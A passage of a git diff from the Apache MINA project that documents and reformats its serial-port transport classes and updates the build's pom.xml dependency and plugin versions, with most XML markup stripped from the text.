Parity { - NONE, ODD, EVEN, MARK, SPACE + /** No parity bit sent */ + NONE, + + /** Odd parity */ + ODD, + + /** Even parity */ + EVEN, + + /** Mark signal condition */ + MARK, + + /**Space signal condition */ + SPACE } + /** + * Stop bits in use + */ public enum StopBits { - BITS_1, BITS_2, BITS_1_5 + /** One bit */ + BITS_1, + + /** Two bits */ + BITS_2, + + /** One and half bits */ + BITS_1_5 } + /** + * The Flow control flags + */ public enum FlowControl { - NONE, RTSCTS_IN, RTSCTS_OUT, RTSCTS_IN_OUT, XONXOFF_IN, XONXOFF_OUT, XONXOFF_IN_OUT + /** No flow control */ + NONE, + + /** RTS/CTS IN flow control */ + RTSCTS_IN, + + /** RTS/CTS OUT flow control */ + RTSCTS_OUT, + + /** RTS/CTS IN/OUT flow control */ + RTSCTS_IN_OUT, + + /** XON/XOFF IN flow control */ + XONXOFF_IN, + + /** XON/XOFF OUT flow control */ + XONXOFF_OUT, + + /** XON/XOFF IN/OUT flow control */ + XONXOFF_IN_OUT } private final String name; + private final int bauds; + private final DataBits dataBits; + private final StopBits stopBits; + private final Parity parity; + private final FlowControl flowControl; /** @@ -67,8 +134,8 @@ public enum FlowControl { * @param parity parity used * @param flowControl flow control used */ - public SerialAddress(String name, int bauds, DataBits dataBits, - StopBits stopBits, Parity parity, FlowControl flowControl) { + public SerialAddress(String name, int bauds, DataBits dataBits, StopBits stopBits, Parity parity, + FlowControl flowControl) { if (name == null) { throw new IllegalArgumentException("name"); } @@ -91,7 +158,7 @@ public SerialAddress(String name, int bauds, DataBits dataBits, if (flowControl == null) { throw new IllegalArgumentException("flowControl"); } - + this.name = name; this.bauds = bauds; this.dataBits = dataBits; @@ -153,9 +220,8 @@ public StopBits getStopBits() { */ @Override public String toString() { - return name + " (bauds: " + bauds + ", dataBits: " + dataBits - + ", stopBits: " + stopBits + ", parity: " + parity - + ", flowControl: " + flowControl + ")"; + return name + " (bauds: " + bauds + ", dataBits: " + dataBits + ", stopBits: " + stopBits + ", parity: " + + parity + ", flowControl: " + flowControl + ")"; } int getDataBitsForRXTX() { diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddressEditor.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddressEditor.java index af2236fd75..8900da51a5 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddressEditor.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddressEditor.java @@ -30,7 +30,7 @@ /** * A {@link PropertyEditor} which converts a {@link String} into a * {@link SerialAddress} and vice versa. Valid values specify 6 address - * components separated by colon (e.g. COM1:9600:7:1:even:rtscts-in); + * components separated by colon (e.g. COM1:9600:7:1:even:rtscts-in); * port name, bauds, data bits, stop bits, parity and flow control respectively. * * @author Apache MINA Project @@ -39,12 +39,8 @@ public class SerialAddressEditor extends AbstractPropertyEditor { @Override protected String toText(Object value) { SerialAddress addr = (SerialAddress) value; - return addr.getName() + ':' + - addr.getBauds() + ':' + - toText(addr.getDataBits()) + ':' + - toText(addr.getStopBits()) + ':' + - toText(addr.getParity()) + ':' + - toText(addr.getFlowControl()); + return addr.getName() + ':' + addr.getBauds() + ':' + toText(addr.getDataBits()) + ':' + + toText(addr.getStopBits()) + ':' + toText(addr.getParity()) + ':' + toText(addr.getFlowControl()); } private String toText(DataBits bits) { @@ -113,18 +109,11 @@ private String toText(FlowControl flowControl) { protected Object toValue(String text) throws IllegalArgumentException { String[] components = text.split(":"); if (components.length != 6) { - throw new IllegalArgumentException( - "SerialAddress must have 6 components separated " + - "by colon: " + text); + throw new IllegalArgumentException("SerialAddress must have 6 components separated " + "by colon: " + text); } - return new SerialAddress( - components[0].trim(), - toBauds(components[1].trim()), - toDataBits(components[2].trim()), - toStopBits(components[3].trim()), - toParity(components[4].trim()), - toFlowControl(components[5].trim())); + return new SerialAddress(components[0].trim(), toBauds(components[1].trim()), toDataBits(components[2].trim()), + toStopBits(components[3].trim()), toParity(components[4].trim()), toFlowControl(components[5].trim())); } private int toBauds(String text) { diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialConnector.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialConnector.java index d3dd0b5237..866240fcfe 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialConnector.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialConnector.java @@ -36,6 +36,7 @@ import org.apache.mina.core.service.IoConnector; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.core.session.IdleStatusChecker; +import org.apache.mina.core.session.IoSessionConfig; import org.apache.mina.core.session.IoSessionInitializer; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -46,28 +47,33 @@ * @author Apache MINA Project */ public final class SerialConnector extends AbstractIoConnector { - private final Logger log; - + private static final Logger LOGGER = LoggerFactory.getLogger(SerialConnector.class); + private IdleStatusChecker idleChecker; + /** + * Creates a new SerialConnector instance + */ public SerialConnector() { this(null); } + /** + * Creates a new SerialConnector instance + * + * @param executor The Executor to use internally + */ public SerialConnector(Executor executor) { super(new DefaultSerialSessionConfig(), executor); - log = LoggerFactory.getLogger(SerialConnector.class); - + idleChecker = new IdleStatusChecker(); // we schedule the idle status checking task in this service exceutor // it will be woke up every seconds executeWorker(idleChecker.getNotifyingTask(), "idleStatusChecker"); - } @Override - protected synchronized ConnectFuture connect0( - SocketAddress remoteAddress, SocketAddress localAddress, + protected synchronized ConnectFuture connect0(SocketAddress remoteAddress, SocketAddress localAddress, IoSessionInitializer sessionInitializer) { CommPortIdentifier portId; @@ -78,57 +84,61 @@ protected synchronized ConnectFuture connect0( // looping around found ports while (portList.hasMoreElements()) { portId = (CommPortIdentifier) portList.nextElement(); + if (portId.getPortType() == CommPortIdentifier.PORT_SERIAL) { - if (log.isDebugEnabled()) { - log.debug("Serial port discovered : " + portId.getName()); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Serial port discovered : " + portId.getName()); } + if (portId.getName().equals(portAddress.getName())) { try { - if (log.isDebugEnabled()) { - log - .debug("Serial port found : " - + portId.getName()); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Serial port found : " + portId.getName()); } - SerialPort serialPort = initializePort("Apache MINA", - portId, portAddress); + SerialPort serialPort = initializePort("Apache MINA", portId, portAddress); ConnectFuture future = new DefaultConnectFuture(); - SerialSessionImpl session = new SerialSessionImpl( - this, getListeners(), portAddress, serialPort); + SerialSessionImpl session = new SerialSessionImpl(this, getListeners(), portAddress, serialPort); initSession(session, future, sessionInitializer); session.start(); + return future; } catch (PortInUseException e) { - if (log.isDebugEnabled()) { - log.debug("Port In Use Exception : ", e); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Port In Use Exception : ", e); } + return DefaultConnectFuture.newFailedFuture(e); } catch (UnsupportedCommOperationException e) { - if (log.isDebugEnabled()) { - log.debug("Comm Exception : ", e); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Comm Exception : ", e); } + return DefaultConnectFuture.newFailedFuture(e); } catch (IOException e) { - if (log.isDebugEnabled()) { - log.debug("IOException : ", e); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("IOException : ", e); } + return DefaultConnectFuture.newFailedFuture(e); } catch (TooManyListenersException e) { - if (log.isDebugEnabled()) { - log.debug("TooManyListenersException : ", e); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("TooManyListenersException : ", e); } + return DefaultConnectFuture.newFailedFuture(e); } } } } - return DefaultConnectFuture - .newFailedFuture(new SerialPortUnavailableException( - "Serial port not found")); + return DefaultConnectFuture.newFailedFuture(new SerialPortUnavailableException("Serial port not found")); } + /** + * {@inheritDoc} + */ @Override protected void dispose0() throws Exception { // stop the idle checking task @@ -139,23 +149,21 @@ public TransportMetadata getTransportMetadata() { return SerialSessionImpl.METADATA; } - private SerialPort initializePort(String user, CommPortIdentifier portId, - SerialAddress portAddress) + private SerialPort initializePort(String user, CommPortIdentifier portId, SerialAddress portAddress) throws UnsupportedCommOperationException, PortInUseException { SerialSessionConfig config = (SerialSessionConfig) getSessionConfig(); long connectTimeout = getConnectTimeoutMillis(); + if (connectTimeout > Integer.MAX_VALUE) { connectTimeout = Integer.MAX_VALUE; } - SerialPort serialPort = (SerialPort) portId.open( - user, (int) connectTimeout); + SerialPort serialPort = (SerialPort) portId.open(user, (int) connectTimeout); - serialPort.setSerialPortParams(portAddress.getBauds(), portAddress - .getDataBitsForRXTX(), portAddress.getStopBitsForRXTX(), - portAddress.getParityForRXTX()); + serialPort.setSerialPortParams(portAddress.getBauds(), portAddress.getDataBitsForRXTX(), + portAddress.getStopBitsForRXTX(), portAddress.getParityForRXTX()); serialPort.setFlowControlMode(portAddress.getFLowControlForRXTX()); @@ -180,4 +188,12 @@ private SerialPort initializePort(String user, CommPortIdentifier portId, IdleStatusChecker getIdleStatusChecker0() { return idleChecker; } + + /** + * {@inheritDoc} + */ + @Override + public IoSessionConfig getSessionConfig() { + return sessionConfig; + } } \ No newline at end of file diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialPortUnavailableException.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialPortUnavailableException.java index ae0e71afe2..6ada0bd4c0 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialPortUnavailableException.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialPortUnavailableException.java @@ -24,14 +24,18 @@ /** * Exception thrown when the serial port can't be open because * it doesn't exists. + * * @author Apache MINA Project */ public class SerialPortUnavailableException extends RuntimeIoException { - private static final long serialVersionUID = 1L; + /** + * Creates a new SerialPortUnavailableException instance + * + * @param details The error message + */ public SerialPortUnavailableException(String details) { super(details); } - } diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSession.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSession.java index 2ba751bb26..c4096d1ce2 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSession.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSession.java @@ -34,7 +34,7 @@ public interface SerialSession extends IoSession { SerialAddress getLocalAddress(); SerialAddress getServiceAddress(); - + /** * Sets or clears the RTS (Request To Send) bit in the UART, if supported by the underlying implementation. * @param rts true for set RTS, false for clearing @@ -42,18 +42,19 @@ public interface SerialSession extends IoSession { void setRTS(boolean rts); /** - * Gets the state of the RTS (Request To Send) bit in the UART, if supported by the underlying implementation. + * @return the state of the RTS (Request To Send) bit in the UART, if supported by the underlying implementation. */ boolean isRTS(); /** * Sets or clears the DTR (Data Terminal Ready) bit in the UART, if supported by the underlying implementation. + * * @param dtr true for set DTR, false for clearing */ void setDTR(boolean dtr); /** - * Gets the state of the DTR (Data Terminal Ready) bit in the UART, if supported by the underlying implementation. + * @return the state of the DTR (Data Terminal Ready) bit in the UART, if supported by the underlying implementation. */ boolean isDTR(); } diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionConfig.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionConfig.java index 0f2f5f68f8..c3c4320040 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionConfig.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionConfig.java @@ -25,10 +25,10 @@ * An {@link IoSessionConfig} for serial transport type. * All those parameters are extracted from rxtx.org API for more details : * http://www.rxtx.org + * * @author Apache MINA Project */ public interface SerialSessionConfig extends IoSessionConfig { - /** * Gets the input buffer size. Note that this method is advisory and the underlying OS * may choose not to report correct values for the buffer size. @@ -43,7 +43,6 @@ public interface SerialSessionConfig extends IoSessionConfig { */ void setInputBufferSize(int bufferSize); - /** * Gets the output buffer size. Note that this method is advisory and the underlying OS * may choose not to report correct values for the buffer size. @@ -65,26 +64,22 @@ public interface SerialSessionConfig extends IoSessionConfig { boolean isLowLatency(); /** - * Set the low latency mode, be carefull it's not supported by all the OS/hardware. - * @param lowLatency + * Set the low latency mode, be careful it's not supported by all the OS/hardware. + * @param lowLatency The low latency mode */ void setLowLatency(boolean lowLatency); /** * The current receive threshold (-1 if not enabled). Give the value of the current buffer * needed for generate a new frame. - * @return the receive thresold in bytes or -1 if disabled + * @return the receive threshold in bytes or -1 if disabled */ int getReceiveThreshold(); /** * Set the receive threshold in byte (set it to -1 for disable). The serial port will try to - * provide frame of the given minimal byte count. Be carefull some devices doesn't support it. + * provide frame of the given minimal byte count. Be careful some devices doesn't support it. * @param bytes minimal amount of byte before producing a new frame, or -1 if disabled */ void setReceiveThreshold(int bytes); - - - - } diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionImpl.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionImpl.java index 904f4f0f5e..1288133914 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionImpl.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialSessionImpl.java @@ -29,19 +29,17 @@ import java.io.OutputStream; import java.util.TooManyListenersException; -import org.apache.mina.core.session.AbstractIoSession; -import org.apache.mina.core.filterchain.DefaultIoFilterChain; -import org.apache.mina.core.service.DefaultTransportMetadata; -import org.apache.mina.util.ExceptionMonitor; import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.filterchain.DefaultIoFilterChain; import org.apache.mina.core.filterchain.IoFilterChain; -import org.apache.mina.core.service.IoHandler; +import org.apache.mina.core.service.DefaultTransportMetadata; import org.apache.mina.core.service.IoProcessor; -import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.IoServiceListenerSupport; import org.apache.mina.core.service.TransportMetadata; +import org.apache.mina.core.session.AbstractIoSession; import org.apache.mina.core.write.WriteRequest; - +import org.apache.mina.core.write.WriteRequestQueue; +import org.apache.mina.util.ExceptionMonitor; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -50,33 +48,32 @@ * * @author Apache MINA Project */ -class SerialSessionImpl extends AbstractIoSession implements - SerialSession, SerialPortEventListener { +class SerialSessionImpl extends AbstractIoSession implements SerialSession, SerialPortEventListener { - static final TransportMetadata METADATA = - new DefaultTransportMetadata( - "rxtx", "serial", false, true, SerialAddress.class, - SerialSessionConfig.class, IoBuffer.class); + static final TransportMetadata METADATA = new DefaultTransportMetadata("rxtx", "serial", false, true, + SerialAddress.class, SerialSessionConfig.class, IoBuffer.class); - private final SerialSessionConfig config = new DefaultSerialSessionConfig(); private final IoProcessor processor = new SerialIoProcessor(); - private final IoHandler ioHandler; + private final IoFilterChain filterChain; - private final SerialConnector service; + private final IoServiceListenerSupport serviceListeners; + private final SerialAddress address; + private final SerialPort port; + private final Logger log; private InputStream inputStream; + private OutputStream outputStream; - SerialSessionImpl( - SerialConnector service, IoServiceListenerSupport serviceListeners, - SerialAddress address, SerialPort port) { - this.service = service; + SerialSessionImpl(SerialConnector service, IoServiceListenerSupport serviceListeners, SerialAddress address, + SerialPort port) { + super(service); + config = new DefaultSerialSessionConfig(); this.serviceListeners = serviceListeners; - ioHandler = service.getHandler(); filterChain = new DefaultIoFilterChain(this); this.port = port; this.address = address; @@ -85,17 +82,13 @@ class SerialSessionImpl extends AbstractIoSession implements } public SerialSessionConfig getConfig() { - return config; + return (SerialSessionConfig) config; } public IoFilterChain getFilterChain() { return filterChain; } - public IoHandler getHandler() { - return ioHandler; - } - public TransportMetadata getTransportMetadata() { return METADATA; } @@ -113,10 +106,6 @@ public SerialAddress getServiceAddress() { return (SerialAddress) super.getServiceAddress(); } - public IoService getService() { - return service; - } - public void setDTR(boolean dtr) { port.setDTR(dtr); } @@ -145,27 +134,28 @@ void start() throws IOException, TooManyListenersException { ReadWorker w = new ReadWorker(); w.start(); port.addEventListener(this); - service.getIdleStatusChecker0().addSession(this); + ((SerialConnector) getService()).getIdleStatusChecker0().addSession(this); try { getService().getFilterChainBuilder().buildFilterChain(getFilterChain()); serviceListeners.fireSessionCreated(this); - } catch (Throwable e) { + } catch (Exception e) { getFilterChain().fireExceptionCaught(e); processor.remove(this); } } private final Object writeMonitor = new Object(); + private WriteWorker writeWorker; private class WriteWorker extends Thread { @Override public void run() { - while (isConnected() && !isClosing()) { - flushWrites(); + synchronized (writeMonitor) { + while (isConnected() && !isClosing()) { + flushWrites(); - // wait for more data - synchronized (writeMonitor) { + // wait for more data try { writeMonitor.wait(); } catch (InterruptedException e) { @@ -177,7 +167,7 @@ public void run() { } private void flushWrites() { - for (; ;) { + for (;;) { WriteRequest req = getCurrentWriteRequest(); if (req == null) { req = getWriteRequestQueue().poll(this); @@ -198,13 +188,13 @@ private void flushWrites() { try { outputStream.write(buf.array(), buf.position(), writtenBytes); buf.position(buf.position() + writtenBytes); - + // increase written bytes increaseWrittenBytes(writtenBytes, System.currentTimeMillis()); - + setCurrentWriteRequest(null); buf.reset(); - + // fire the message sent event getFilterChain().fireMessageSent(req); } catch (IOException e) { @@ -236,16 +226,13 @@ public void run() { int readBytes = inputStream.read(data); if (readBytes > 0) { - IoBuffer buf = IoBuffer - .wrap(data, 0, readBytes); + IoBuffer buf = IoBuffer.wrap(data, 0, readBytes); buf.put(data, 0, readBytes); buf.flip(); - getFilterChain().fireMessageReceived( - buf); + getFilterChain().fireMessageReceived(buf); } } catch (IOException e) { - getFilterChain().fireExceptionCaught( - e); + getFilterChain().fireExceptionCaught(e); } } } @@ -270,6 +257,22 @@ public void add(SerialSessionImpl session) { // It's already added when the session is constructed. } + /** + * {@inheritDoc} + */ + public void write(SerialSessionImpl session, WriteRequest writeRequest) { + WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + + writeRequestQueue.offer(session, writeRequest); + + if (!session.isWriteSuspended()) { + session.getProcessor().flush(session); + } + } + + /** + * {@inheritDoc} + */ public void flush(SerialSessionImpl session) { if (writeWorker == null) { writeWorker = new WriteWorker(); diff --git a/pom.xml b/pom.xml index a5105fe8c1..b9b4e81f3e 100644 --- a/pom.xml +++ b/pom.xml @@ -24,32 +24,34 @@ org.apache apache - 7 + 38 + Apache MINA Project - http://mina.apache.org/ + https://mina.apache.org/ org.apache.mina - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-parent Apache MINA pom - http://mina.apache.org/ + https://mina.apache.org/ 2004 jira - http://issues.apache.org/jira/browse/DIRMINA + https://issues.apache.org/jira/browse/DIRMINA - scm:svn:http://svn.apache.org/repos/asf/mina/trunk - http://svn.apache.org/viewvc/directory/mina/trunk - scm:svn:https://svn.apache.org/repos/asf/mina/trunk + scm:git:https://gitbox.apache.org/repos/asf/mina.git + scm:git:https://gitbox.apache.org/repos/asf/mina.git + https://github.com/apache/mina/tree/${project.scm.tag} + 2.2.X @@ -73,56 +75,103 @@ Apache 2.0 License - http://www.apache.org/licenses/LICENSE-2.0 + https://www.apache.org/licenses/LICENSE-2.0.txt repo + + 3.8.5 + + + + + + + 1781362324 + + + + - 2.2.1 - 2.2-beta-5 - 2.3 - 2.1 - 2.5 - 1.1 - 2.3 - 2.6.1 - 2.1 - 2.2.1 - 2.2.1 + 0.18 + 4.0.0-rc-5 + 3.8.0 + 3.6.1 + 6.0.2 + 3.0.0-M3 + 3.6.0 + 3.5.0 + 2.8 + 2.7 + 3.15.0 + 2.9.1 + 1.0.0-beta-1 + 3.10.0 + 3.1.4 + 1.2 + 2.10 + 3.6.3 + 3.0.5 + 3.2.8 + 3.1.4 + 3.5.0 + 2.1 + 3.12.0 + 2.2.0 + 3.6.0 + 4.0.0-rc-5 + 4.0.3 + 4.0.0-beta-2 + 3.28.0 + 3.0-alpha-2 + 3.9.0 1.0-alpha-3 - 2.0 - 1.1 - 2.1 - 2.1.1 - 1.3 - 2.4.3 + 3.3.1 + 3.3.0 + 1.5.3 + 3.5.0 + 2.2.1 + 4.0.0-M16 + 3.4.0 + 3.6.2 + 3.5.5 + 3.5.5 + 3.2.2 + 1.4 + 2.21.0 + 4.30 - 2.5 - 2.5.2 - 2.5.2 - 3.7.ga - 1.0 + 1.84 + 5.6.0 + 3.8.0.GA 1.2.0 - 4.7 - 1.0.7 - 1.2.14 - 2.7.3 - 4.2.5 - 2.0.2 - 1.5.11 - 1.5.11 - 1.5.11 - 2.5.6 - 5.5.23 - 3.6 + 4.13.2 + 1.1.3 + 1.2.17 + 5.23.0 + 3.4.11 + 7.24.0 + 1.7.36 + 1.7.36 + 1.7.36 + 7.0.7 + 2.5.6.SEC03 + 10.0.27 + 4.30 + + + 1.7 + + + 8 + 8 - mina-legal mina-core mina-transport-apr mina-filter-compression @@ -132,6 +181,9 @@ mina-integration-ognl mina-integration-jmx mina-example + mina-http + mina-legal + @@ -191,9 +243,9 @@ - tomcat - tomcat-apr - ${version.tomcat.apr} + org.apache.tomcat + tomcat-jni + ${version.tomcat.jni} @@ -204,7 +256,6 @@ - org.apache.xbean xbean-spring @@ -214,21 +265,19 @@ org.springframework spring + ${version.springframework.old} + + + + org.springframework + spring-beans + ${version.springframework} + + + + org.springframework + spring-context ${version.springframework} - - - commons-logging - commons-logging - - - commons-logging - commons-logging-api - - - javax.servlet - servlet-api - - @@ -241,33 +290,35 @@ jboss javassist ${version.jboss.javassist} + test - jdom - jdom - ${version.jdom} + jmock + jmock + ${version.jmock} true + test - jmock - jmock - ${version.jmock} + org.mockito + mockito-core + ${version.mockito} true + test - pmd - pmd + net.sourceforge.pmd + pmd-core ${version.pmd} - - commons-lang - commons-lang - ${version.commons.lang} + net.sourceforge.pmd + pmd-java + ${version.pmd} @@ -285,8 +336,8 @@ org.slf4j - slf4j-log4j12 - ${version.slf4j.log4j12} + slf4j-reload4j + ${version.slf4j.reload4j} @@ -309,19 +360,17 @@ ${version.easymock} test - + - org.easymock - easymockclassextension - ${version.easymockclassextension} - test + org.bouncycastle + bcprov-jdk18on + ${version.bcprov} - + - com.agical.rmock - rmock - ${version.rmock} - test + org.bouncycastle + bcpkix-jdk18on + ${version.bcprov} @@ -339,7 +388,7 @@ org.slf4j - slf4j-log4j12 + slf4j-reload4j test @@ -363,129 +412,505 @@ - - apache-release - - - - - maven-javadoc-plugin - - - install - - - aggregate - - - - - - - maven-jxr-plugin - 2.2 - - true - - - - - install - - - jxr - test-jxr - - - - - - - - - distribution - - + + apache-release + + + + maven-javadoc-plugin + + + install + + javadoc + + + + + + + + + distribution + + + + + + java-8-compilation + + [11,) + + + 8 + + + + + + + + + + + + org.apache.maven.plugins + maven-assembly-plugin + ${version.assembly.plugin} + + + + org.apache.maven.plugins + maven-changes-plugin + ${version.changes.plugin} + + + + org.apache.maven.plugins + maven-checkstyle-plugin + ${version.checkstyle.plugin} + + + + org.apache.maven.plugins + maven-clean-plugin + ${version.clean.plugin} + + + + + org.apache.maven.plugins + maven-compiler-plugin + ${version.compiler.plugin} + + true + ISO-8859-1 + + + + + org.apache.maven.plugins + maven-dependency-plugin + ${version.dependency.plugin} + + + + org.apache.maven.plugins + maven-deploy-plugin + ${version.deploy.plugin} + true + + + + org.apache.maven.plugins + maven-docck-plugin + ${version.docck.plugin} + + + + org.apache.maven.plugins + maven-eclipse-plugin + ${version.eclipse.plugin} + true + + true + true + + + + + org.apache.maven.plugins + maven-enforcer-plugin + ${version.enforcer.plugin} + + + + org.apache.maven.plugins + maven-gpg-plugin + ${version.gpg.plugin} + + + + org.apache.maven.plugins + maven-install-plugin + ${version.install.plugin} + + + + org.apache.maven.plugins + maven-jar-plugin + ${version.jar.plugin} + + + + org.apache.maven.plugins + maven-javadoc-plugin + ${version.javadoc.plugin} + + + + org.apache.xbean.XBean + t + + + + org.apache.xbean.Property + m + + + + org.apache.xbean.FactoryMethod + m + + + + org.apache.xbean.DestroyMethod + m + + + + + + + + + org.apache.maven.plugins + maven-jxr-plugin + ${version.jxr.plugin} + + + + org.apache.maven.plugins + maven-plugin-plugin + ${version.plugin.plugin} + + + + org.apache.maven.plugins + maven-pmd-plugin + ${version.pmd.plugin} + + + + org.apache.maven.plugins + maven-project-info-reports-plugin + ${version.project.info.report.plugin} + + + + org.apache.maven.plugins + maven-release-plugin + ${version.release.plugin} + + + + org.apache.maven.plugins + maven-remote-resources-plugin + ${version.remote.resources.plugin} + + + + org.apache.maven.plugins + maven-resources-plugin + ${version.resources.plugin} + + + + org.apache.maven.plugins + maven-scm-plugin + ${version.scm.plugin} + + + + org.apache.maven.plugins + maven-site-plugin + ${version.site.plugin} + + + + org.apache.maven.plugins + maven-source-plugin + ${version.source.plugin} + + + + org.apache.maven.plugins + maven-surefire-report-plugin + ${version.surfire.report.plugin} + + + + org.apache.maven.plugins + maven-surefire-plugin + ${version.surefire.plugin} + + -Xmx1024m + + + + + org.apache.felix + maven-bundle-plugin + ${version.bundle.plugin} + + + + org.apache.geronimo.genesis.plugins + tools-maven-plugin + ${version.tools.maven.plugin} + + + + org.apache.xbean + maven-xbean-plugin + ${version.xbean.plugin} + + + + org.codehaus.mojo + build-helper-maven-plugin + ${version.build.helper.plugin} + + + + org.codehaus.mojo + clirr-maven-plugin + ${version.clirr.plugin} + + + + org.codehaus.mojo + cobertura-maven-plugin + ${version.cobertura.plugin} + + + + org.codehaus.mojo + dashboard-maven-plugin + ${version.dashboard.plugin} + + + + org.codehaus.mojo + findbugs-maven-plugin + ${version.findbugs.plugin} + + false + + + + + + org.codehaus.mojo + javancss-maven-plugin + ${version.javancss.plugin} + + + + org.codehaus.mojo + jdepend-maven-plugin + ${version.jdepend.plugin} + + + + org.codehaus.mojo + taglist-maven-plugin + ${version.taglist.plugin} + + + > + + Documentation Work + + TODO + @todo + @deprecated + FIXME + + + + + + + + + org.codehaus.mojo + versions-maven-plugin + ${version.versions.plugin} + + + + org.cyclonedx + cyclonedx-maven-plugin + ${version.cyclonedx.plugin} + + + make-bom + package + + makeAggregateBom + + + + + ${project.artifactId}-${project.version}-bom + + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + + + enforce-maven + + enforce + + + + + (3.8,] + + + 17 + + + + + + + maven-compiler-plugin - ${version.compiler.plugin} UTF-8 - 1.5 - 1.5 true - true - true + true maven-surefire-plugin - ${version.surefire.plugin} - - - **/Abstract* - **/*RegressionTest* - - - - - - maven-source-plugin - ${version.source.plugin} - - - attach-source - - jar - - - maven-release-plugin - ${version.release.plugin} - - https://svn.apache.org/repos/asf/mina/tags - clean install clean deploy forked-path + true + @{project.version} org.apache.felix maven-bundle-plugin - 1.4.1 true true + $(maven-symbolicname) ${symbolicName} - ${exportedPackage}.*;version=${pom.version} + ${exportedPackage}.*;version=${project.version} + + + org.apache.maven.plugins + maven-site-plugin + + + + org.apache.maven.wagon + wagon-ssh + 3.5.3 + + + + + org.apache.maven.wagon + wagon-ssh-external + 3.5.3 + + + + + + org.cyclonedx + cyclonedx-maven-plugin + + + + + org.apache.rat + apache-rat-plugin + ${version.apache.rat.plugin} + true + + + false + + + **/resources/Reveal in Finder.launch + **/target/** + **/.classpath + **/.project + **/.settings/** + **/LICENSE.* + **/NOTICE-bin.txt + **/MANIFEST.MF + **/resources/** + + + + + + verify + + check + + + + + + org.apache.maven.plugins + maven-pmd-plugin + + org.apache.maven.plugins maven-javadoc-plugin ${version.javadoc.plugin} false - true true UTF-8 UTF-8 @@ -496,8 +921,6 @@ http://java.sun.com/j2se/1.5.0/docs/api/ http://www.slf4j.org/api/ - http://static.springframework.org/spring/docs/2.0.x/api/ - http://dcl.mathcs.emory.edu/util/backport-util-concurrent/doc/api/ en_US @@ -509,28 +932,12 @@ ${version.jxr.plugin} false - true UTF-8 UTF-8 Apache MINA ${project.version} Cross Reference Apache MINA ${project.version} Cross Reference - - - org.codehaus.mojo - rat-maven-plugin - ${version.rat.maven.plugin} - - - **/target/**/* - **/.* - **/NOTICE.txt - **/LICENSE*.txt - - false - - diff --git a/resources/ImprovedJavaConventions.xml b/resources/ImprovedJavaConventions.xml new file mode 100644 index 0000000000..7e3d8b8946 --- /dev/null +++ b/resources/ImprovedJavaConventions.xml @@ -0,0 +1,251 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +